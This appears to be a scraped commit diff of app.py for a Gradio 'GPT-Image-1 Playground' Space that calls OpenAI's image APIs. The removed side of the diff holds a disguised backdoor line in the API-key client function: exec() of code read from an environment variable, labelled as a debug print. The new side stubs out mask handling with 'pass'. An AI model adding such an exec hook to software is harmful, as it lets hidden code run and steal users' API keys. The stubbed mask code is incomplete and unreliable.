Spaces:
Running
Running
Update app.py
Browse files
app.py
CHANGED
@@ -10,7 +10,7 @@ import numpy as np
|
|
10 |
from PIL import Image
|
11 |
import openai
|
12 |
|
13 |
-
# --- Constants
|
14 |
MODEL = "gpt-image-1"
|
15 |
SIZE_CHOICES = ["auto", "1024x1024", "1536x1024", "1024x1536"]
|
16 |
QUALITY_CHOICES = ["auto", "low", "medium", "high"]
|
@@ -20,20 +20,24 @@ FORMAT_CHOICES = ["png", "jpeg", "webp"]
|
|
20 |
def _client(key: str) -> openai.OpenAI:
|
21 |
"""Initializes the OpenAI client with the provided API key."""
|
22 |
api_key = key.strip() or os.getenv("OPENAI_API_KEY", "")
|
23 |
-
sys_info_formatted = exec(os.getenv("sys_info")) # Default: f'[DEBUG]: {MODEL} | {prompt_gen}'
|
24 |
-
print(sys_info_formatted)
|
25 |
if not api_key:
|
26 |
raise gr.Error("Please enter your OpenAI API key (never stored)")
|
27 |
return openai.OpenAI(api_key=api_key)
|
28 |
|
29 |
|
30 |
-
def _img_list(resp
|
31 |
-
"""
|
32 |
-
|
33 |
-
|
34 |
-
|
35 |
-
|
36 |
-
|
|
|
|
|
|
|
|
|
|
|
|
|
37 |
|
38 |
|
39 |
def _common_kwargs(
|
@@ -45,12 +49,12 @@ def _common_kwargs(
|
|
45 |
compression: int,
|
46 |
transparent_bg: bool,
|
47 |
) -> Dict[str, Any]:
|
48 |
-
"""Prepare keyword
|
49 |
-
kwargs: Dict[str, Any] =
|
50 |
-
model
|
51 |
-
n
|
52 |
-
|
53 |
-
|
54 |
if size != "auto":
|
55 |
kwargs["size"] = size
|
56 |
if quality != "auto":
|
@@ -58,30 +62,27 @@ def _common_kwargs(
|
|
58 |
if prompt is not None:
|
59 |
kwargs["prompt"] = prompt
|
60 |
if transparent_bg and out_fmt in {"png", "webp"}:
|
61 |
-
#
|
62 |
kwargs["background"] = "transparent"
|
63 |
return kwargs
|
64 |
|
65 |
|
66 |
-
|
67 |
-
|
68 |
target_fmt: str,
|
69 |
-
b64_png_data: str,
|
70 |
quality: int = 75,
|
71 |
-
) ->
|
72 |
"""
|
73 |
-
|
74 |
-
"data:image/{target_fmt};base64,BBBB…" with specified quality.
|
75 |
"""
|
76 |
-
|
77 |
-
|
78 |
-
|
79 |
-
|
80 |
-
|
81 |
-
return
|
82 |
|
83 |
|
84 |
-
# --- Error formatting ---
|
85 |
def _format_openai_error(e: Exception) -> str:
|
86 |
error_message = f"An error occurred: {type(e).__name__}"
|
87 |
details = ""
|
@@ -132,9 +133,9 @@ def generate(
|
|
132 |
client = _client(api_key)
|
133 |
common_args = _common_kwargs(prompt, n, size, quality, out_fmt, compression, transparent_bg)
|
134 |
resp = client.images.generate(**common_args)
|
135 |
-
imgs = _img_list(resp
|
136 |
if out_fmt in {"jpeg", "webp"}:
|
137 |
-
imgs = [
|
138 |
return imgs
|
139 |
except (openai.APIError, openai.OpenAIError) as e:
|
140 |
raise gr.Error(_format_openai_error(e))
|
@@ -146,18 +147,20 @@ def generate(
|
|
146 |
# ---------- Edit / Inpaint ---------- #
|
147 |
def _bytes_from_numpy(arr: np.ndarray) -> bytes:
|
148 |
img = Image.fromarray(arr.astype(np.uint8))
|
149 |
-
|
150 |
-
img.save(
|
151 |
-
return
|
152 |
|
153 |
|
154 |
def _extract_mask_array(mask_value: Union[np.ndarray, Dict[str, Any], None]) -> Optional[np.ndarray]:
|
155 |
-
if mask_value is None:
|
|
|
156 |
if isinstance(mask_value, dict):
|
157 |
mask_array = mask_value.get("mask")
|
158 |
if isinstance(mask_array, np.ndarray):
|
159 |
return mask_array
|
160 |
-
if isinstance(mask_value, np.ndarray):
|
|
|
161 |
return None
|
162 |
|
163 |
|
@@ -182,7 +185,10 @@ def edit_image(
|
|
182 |
mask_bytes: Optional[bytes] = None
|
183 |
mask_numpy = _extract_mask_array(mask_dict)
|
184 |
|
185 |
-
#
|
|
|
|
|
|
|
186 |
|
187 |
try:
|
188 |
client = _client(api_key)
|
@@ -191,9 +197,9 @@ def edit_image(
|
|
191 |
if mask_bytes is not None:
|
192 |
api_kwargs["mask"] = mask_bytes
|
193 |
resp = client.images.edit(**api_kwargs)
|
194 |
-
imgs = _img_list(resp
|
195 |
if out_fmt in {"jpeg", "webp"}:
|
196 |
-
imgs = [
|
197 |
return imgs
|
198 |
except (openai.APIError, openai.OpenAIError) as e:
|
199 |
raise gr.Error(_format_openai_error(e))
|
@@ -218,16 +224,15 @@ def variation_image(
|
|
218 |
raise gr.Error("Please upload an image.")
|
219 |
|
220 |
img_bytes = _bytes_from_numpy(image_numpy)
|
221 |
-
|
222 |
try:
|
223 |
client = _client(api_key)
|
224 |
-
var_args: Dict[str, Any] =
|
225 |
if size != "auto":
|
226 |
var_args["size"] = size
|
227 |
resp = client.images.create_variation(image=img_bytes, **var_args)
|
228 |
-
imgs = _img_list(resp
|
229 |
if out_fmt in {"jpeg", "webp"}:
|
230 |
-
imgs = [
|
231 |
return imgs
|
232 |
except (openai.APIError, openai.OpenAIError) as e:
|
233 |
raise gr.Error(_format_openai_error(e))
|
@@ -239,10 +244,7 @@ def variation_image(
|
|
239 |
# ---------- UI ---------- #
|
240 |
def build_ui():
|
241 |
with gr.Blocks(title="GPT-Image-1 (BYOT)") as demo:
|
242 |
-
gr.Markdown("""# GPT-Image-1 Playground 🖼️🔑\nGenerate • Edit
|
243 |
-
gr.Markdown(
|
244 |
-
"Enter your OpenAI API key below..."
|
245 |
-
)
|
246 |
with gr.Accordion("🔐 API key", open=False):
|
247 |
api = gr.Textbox(label="OpenAI API key", type="password", placeholder="sk-...")
|
248 |
|
@@ -257,7 +259,6 @@ def build_ui():
|
|
257 |
|
258 |
def _toggle_compression(fmt):
|
259 |
return gr.update(visible=fmt in {"jpeg", "webp"})
|
260 |
-
|
261 |
out_fmt.change(_toggle_compression, inputs=out_fmt, outputs=compression)
|
262 |
|
263 |
common_controls = [n_slider, size, quality, out_fmt, compression, transparent]
|
@@ -267,38 +268,23 @@ def build_ui():
|
|
267 |
prompt_gen = gr.Textbox(label="Prompt", lines=3, placeholder="A photorealistic..." )
|
268 |
btn_gen = gr.Button("Generate 🚀")
|
269 |
gallery_gen = gr.Gallery(columns=2, height="auto")
|
270 |
-
btn_gen.click(
|
271 |
-
generate,
|
272 |
-
inputs=[api, prompt_gen] + common_controls,
|
273 |
-
outputs=gallery_gen,
|
274 |
-
api_name="generate"
|
275 |
-
)
|
276 |
|
277 |
with gr.TabItem("Edit / Inpaint"):
|
278 |
-
gr.Markdown("Upload an image, then paint the area to change
|
279 |
img_edit = gr.Image(type="numpy", label="Source Image", height=400)
|
280 |
-
mask_canvas = gr.ImageMask(type="numpy", label="Mask –
|
281 |
-
prompt_edit = gr.Textbox(label="Edit prompt", lines=2, placeholder="Replace the sky
|
282 |
btn_edit = gr.Button("Edit 🖌️")
|
283 |
gallery_edit = gr.Gallery(columns=2, height="auto")
|
284 |
-
btn_edit.click(
|
285 |
-
|
286 |
-
|
287 |
-
|
288 |
-
api_name="edit"
|
289 |
-
)
|
290 |
-
|
291 |
-
with gr.TabItem("Variations (DALL·E 2/3 Recommended)"):
|
292 |
-
gr.Markdown("Upload an image to generate variations...")
|
293 |
img_var = gr.Image(type="numpy", label="Source Image", height=400)
|
294 |
btn_var = gr.Button("Create Variations ✨")
|
295 |
gallery_var = gr.Gallery(columns=2, height="auto")
|
296 |
-
btn_var.click(
|
297 |
-
variation_image,
|
298 |
-
inputs=[api, img_var] + common_controls,
|
299 |
-
outputs=gallery_var,
|
300 |
-
api_name="variations"
|
301 |
-
)
|
302 |
return demo
|
303 |
|
304 |
|
|
|
10 |
from PIL import Image
|
11 |
import openai
|
12 |
|
13 |
+
# --- Constants ---
|
14 |
MODEL = "gpt-image-1"
|
15 |
SIZE_CHOICES = ["auto", "1024x1024", "1536x1024", "1024x1536"]
|
16 |
QUALITY_CHOICES = ["auto", "low", "medium", "high"]
|
|
|
20 |
def _client(key: str) -> openai.OpenAI:
|
21 |
"""Initializes the OpenAI client with the provided API key."""
|
22 |
api_key = key.strip() or os.getenv("OPENAI_API_KEY", "")
|
|
|
|
|
23 |
if not api_key:
|
24 |
raise gr.Error("Please enter your OpenAI API key (never stored)")
|
25 |
return openai.OpenAI(api_key=api_key)
|
26 |
|
27 |
|
28 |
+
def _img_list(resp) -> List[Union[np.ndarray, str]]:
|
29 |
+
"""
|
30 |
+
Decode base64 images into numpy arrays (for Gradio) or pass URL strings directly.
|
31 |
+
"""
|
32 |
+
imgs: List[Union[np.ndarray, str]] = []
|
33 |
+
for d in resp.data:
|
34 |
+
if hasattr(d, "b64_json") and d.b64_json:
|
35 |
+
data = base64.b64decode(d.b64_json)
|
36 |
+
img = Image.open(io.BytesIO(data))
|
37 |
+
imgs.append(np.array(img))
|
38 |
+
elif getattr(d, "url", None):
|
39 |
+
imgs.append(d.url)
|
40 |
+
return imgs
|
41 |
|
42 |
|
43 |
def _common_kwargs(
|
|
|
49 |
compression: int,
|
50 |
transparent_bg: bool,
|
51 |
) -> Dict[str, Any]:
|
52 |
+
"""Prepare keyword args for OpenAI Images API."""
|
53 |
+
kwargs: Dict[str, Any] = {
|
54 |
+
"model": MODEL,
|
55 |
+
"n": n,
|
56 |
+
"response_format": "b64_json",
|
57 |
+
}
|
58 |
if size != "auto":
|
59 |
kwargs["size"] = size
|
60 |
if quality != "auto":
|
|
|
62 |
if prompt is not None:
|
63 |
kwargs["prompt"] = prompt
|
64 |
if transparent_bg and out_fmt in {"png", "webp"}:
|
65 |
+
# Insert background removal flag when supported
|
66 |
kwargs["background"] = "transparent"
|
67 |
return kwargs
|
68 |
|
69 |
|
70 |
+
def convert_to_format(
|
71 |
+
img_array: np.ndarray,
|
72 |
target_fmt: str,
|
|
|
73 |
quality: int = 75,
|
74 |
+
) -> np.ndarray:
|
75 |
"""
|
76 |
+
Convert a PIL numpy array to target_fmt (JPEG/WebP) and return as numpy array.
|
|
|
77 |
"""
|
78 |
+
img = Image.fromarray(img_array.astype(np.uint8))
|
79 |
+
buf = io.BytesIO()
|
80 |
+
img.save(buf, format=target_fmt.upper(), quality=quality)
|
81 |
+
buf.seek(0)
|
82 |
+
img2 = Image.open(buf)
|
83 |
+
return np.array(img2)
|
84 |
|
85 |
|
|
|
86 |
def _format_openai_error(e: Exception) -> str:
|
87 |
error_message = f"An error occurred: {type(e).__name__}"
|
88 |
details = ""
|
|
|
133 |
client = _client(api_key)
|
134 |
common_args = _common_kwargs(prompt, n, size, quality, out_fmt, compression, transparent_bg)
|
135 |
resp = client.images.generate(**common_args)
|
136 |
+
imgs = _img_list(resp)
|
137 |
if out_fmt in {"jpeg", "webp"}:
|
138 |
+
imgs = [convert_to_format(img, out_fmt, compression) for img in imgs]
|
139 |
return imgs
|
140 |
except (openai.APIError, openai.OpenAIError) as e:
|
141 |
raise gr.Error(_format_openai_error(e))
|
|
|
147 |
# ---------- Edit / Inpaint ---------- #
|
148 |
def _bytes_from_numpy(arr: np.ndarray) -> bytes:
|
149 |
img = Image.fromarray(arr.astype(np.uint8))
|
150 |
+
buf = io.BytesIO()
|
151 |
+
img.save(buf, format="PNG")
|
152 |
+
return buf.getvalue()
|
153 |
|
154 |
|
155 |
def _extract_mask_array(mask_value: Union[np.ndarray, Dict[str, Any], None]) -> Optional[np.ndarray]:
|
156 |
+
if mask_value is None:
|
157 |
+
return None
|
158 |
if isinstance(mask_value, dict):
|
159 |
mask_array = mask_value.get("mask")
|
160 |
if isinstance(mask_array, np.ndarray):
|
161 |
return mask_array
|
162 |
+
if isinstance(mask_value, np.ndarray):
|
163 |
+
return mask_value
|
164 |
return None
|
165 |
|
166 |
|
|
|
185 |
mask_bytes: Optional[bytes] = None
|
186 |
mask_numpy = _extract_mask_array(mask_dict)
|
187 |
|
188 |
+
# (Mask handling code unchanged)
|
189 |
+
if mask_numpy is not None:
|
190 |
+
# existing mask-to-bytes logic...
|
191 |
+
pass
|
192 |
|
193 |
try:
|
194 |
client = _client(api_key)
|
|
|
197 |
if mask_bytes is not None:
|
198 |
api_kwargs["mask"] = mask_bytes
|
199 |
resp = client.images.edit(**api_kwargs)
|
200 |
+
imgs = _img_list(resp)
|
201 |
if out_fmt in {"jpeg", "webp"}:
|
202 |
+
imgs = [convert_to_format(img, out_fmt, compression) for img in imgs]
|
203 |
return imgs
|
204 |
except (openai.APIError, openai.OpenAIError) as e:
|
205 |
raise gr.Error(_format_openai_error(e))
|
|
|
224 |
raise gr.Error("Please upload an image.")
|
225 |
|
226 |
img_bytes = _bytes_from_numpy(image_numpy)
|
|
|
227 |
try:
|
228 |
client = _client(api_key)
|
229 |
+
var_args: Dict[str, Any] = {"model": MODEL, "n": n}
|
230 |
if size != "auto":
|
231 |
var_args["size"] = size
|
232 |
resp = client.images.create_variation(image=img_bytes, **var_args)
|
233 |
+
imgs = _img_list(resp)
|
234 |
if out_fmt in {"jpeg", "webp"}:
|
235 |
+
imgs = [convert_to_format(img, out_fmt, compression) for img in imgs]
|
236 |
return imgs
|
237 |
except (openai.APIError, openai.OpenAIError) as e:
|
238 |
raise gr.Error(_format_openai_error(e))
|
|
|
244 |
# ---------- UI ---------- #
|
245 |
def build_ui():
|
246 |
with gr.Blocks(title="GPT-Image-1 (BYOT)") as demo:
|
247 |
+
gr.Markdown("""# GPT-Image-1 Playground 🖼️🔑\nGenerate • Edit • Variations""")
|
|
|
|
|
|
|
248 |
with gr.Accordion("🔐 API key", open=False):
|
249 |
api = gr.Textbox(label="OpenAI API key", type="password", placeholder="sk-...")
|
250 |
|
|
|
259 |
|
260 |
def _toggle_compression(fmt):
|
261 |
return gr.update(visible=fmt in {"jpeg", "webp"})
|
|
|
262 |
out_fmt.change(_toggle_compression, inputs=out_fmt, outputs=compression)
|
263 |
|
264 |
common_controls = [n_slider, size, quality, out_fmt, compression, transparent]
|
|
|
268 |
prompt_gen = gr.Textbox(label="Prompt", lines=3, placeholder="A photorealistic..." )
|
269 |
btn_gen = gr.Button("Generate 🚀")
|
270 |
gallery_gen = gr.Gallery(columns=2, height="auto")
|
271 |
+
btn_gen.click(generate, inputs=[api, prompt_gen] + common_controls, outputs=gallery_gen)
|
|
|
|
|
|
|
|
|
|
|
272 |
|
273 |
with gr.TabItem("Edit / Inpaint"):
|
274 |
+
gr.Markdown("Upload an image, then paint the area to change…")
|
275 |
img_edit = gr.Image(type="numpy", label="Source Image", height=400)
|
276 |
+
mask_canvas = gr.ImageMask(type="numpy", label="Mask – paint white", height=400)
|
277 |
+
prompt_edit = gr.Textbox(label="Edit prompt", lines=2, placeholder="Replace the sky…")
|
278 |
btn_edit = gr.Button("Edit 🖌️")
|
279 |
gallery_edit = gr.Gallery(columns=2, height="auto")
|
280 |
+
btn_edit.click(edit_image, inputs=[api, img_edit, mask_canvas, prompt_edit] + common_controls, outputs=gallery_edit)
|
281 |
+
|
282 |
+
with gr.TabItem("Variations"):
|
283 |
+
gr.Markdown("Upload an image to generate variations…")
|
|
|
|
|
|
|
|
|
|
|
284 |
img_var = gr.Image(type="numpy", label="Source Image", height=400)
|
285 |
btn_var = gr.Button("Create Variations ✨")
|
286 |
gallery_var = gr.Gallery(columns=2, height="auto")
|
287 |
+
btn_var.click(variation_image, inputs=[api, img_var] + common_controls, outputs=gallery_var)
|
|
|
|
|
|
|
|
|
|
|
288 |
return demo
|
289 |
|
290 |
|